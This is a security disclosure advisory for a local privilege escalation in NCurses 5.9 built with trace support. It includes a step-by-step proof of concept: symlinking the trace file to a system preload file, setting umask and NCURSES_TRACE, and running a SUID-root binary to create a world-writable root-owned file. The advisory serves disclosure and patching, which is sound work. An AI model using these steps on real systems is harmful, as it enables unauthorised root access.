SSD Advisory – NCurses 5.9 Local Privilege Escalation

Vulnerability Summary
The following advisory describes an Local Privilege Escalation vulnerability in NCurses, version 5.9.
An independent security researcher Dawid Golunski ( has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program
Vendor Responses
NCurses has released a patch to address the vulnerability.
Thomas Dickey has also added the following statement “I don’t know of any actual packages which have traces enabled by default”.

Vulnerability Details
When NCurses, downloaded from official mirror

And NCurses is compiled with trace option:

[root@centos7 ncurses-6.0]# ./configure --help | grep -i trace --with-trace test: add trace() function to all models of ncurses

It allows for NCURSES_TRACE environment variable as explained at:

When the environment variable is set , a program that makes use of NCurses library writes certain tracing information to ./trace file in the current directory.
The library Fails to check for an existence of a symlink and set appropriate umask settings.
This could be abused by attackers to exploit root suid binaries that make use of a vulnerable ncurses library to achieve privilege escalation.
Proof of Concept
For simplicity we can assign SUID root privileges on clear binary:

chmod +s /bin/clear
chown root:root /bin/clear
[xxxxx@centos7 ~]$ ls -l /bin/clear
-rwsr-xr-x. 1 root root 8792 May 14 16:53 /bin/clear

Which uses NCurses:

[xxxxx@centos7 ~]$ ldd /bin/clear => (0x00007ffe335e4000) => /lib/ (0x00007feecbb29000) => /lib64/ (0x00007feecb768000)
/lib64/ (0x00007feecbd92000)

Although programs such as htop or ntop could be used as an alternative as these are often recommended to have root suid on their binaries.

[xxxxx@centos7 ~]$ id
uid=1000(xxxxx) gid=1000(xxxxx)
[xxxxx@centos7 ~]$ umask 006
[xxxxx@centos7 ~]$ ln -s /etc/ trace
[xxxxx@centos7 ~]$ ls -l trace
lrwxrwxrwx. 1 xxxxx wheel 18 May 15 00:32 trace -> /etc/
[xxxxx@centos7 ~]$ pwd
[xxxxx@centos7 ~]$ export NCURSES_TRACE=20; clear

Ncurses will then write to the ‘trace‘ file and follow the symlink when clear (having root suid permissions) is run:

getcwd("/home/xxxxx", 4084) = 12
stat("/home/xxxxx/trace", 0x7ffcb0635510) = -1 ENOENT (No such file or directory)
access("/home/xxxxx/trace", W_OK) = -1 ENOENT (No such file or directory)
access("/home/xxxxx/", R_OK|W_OK|X_OK) = 0
brk(0) = 0xac0000
brk(0xae1000) = 0xae1000
brk(0) = 0xae1000
open("/home/xxxxx/trace", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 3

As the result, the target file /etc/ will be created:

[xxxxx@centos7 ~]$ ls -l /etc/
ERROR: object 'TRACING' from /etc/ cannot be preloaded: ignored.
ERROR: object 'NCURSES' from /etc/ cannot be preloaded: ignored.
ERROR: object 'version' from /etc/ cannot be preloaded: ignored.
ERROR: object '5.9.20110404' from /etc/ cannot be preloaded: ignored.
ERROR: object '(tracelevel=0x14)' from /etc/ cannot be preloaded: ignored.
-rw-rw----. 1 root wheel 55 May 15 00:36 /etc/

If we repeat the test and run:

umask 000

Before calling clear. Then the file will be created with world-writable permissions:

-rw-rw-rw-. 1 root wheel 55 May 15 00:36 /etc/

This would let attacker add arbitrary system libraries and gain code execution with root privileges.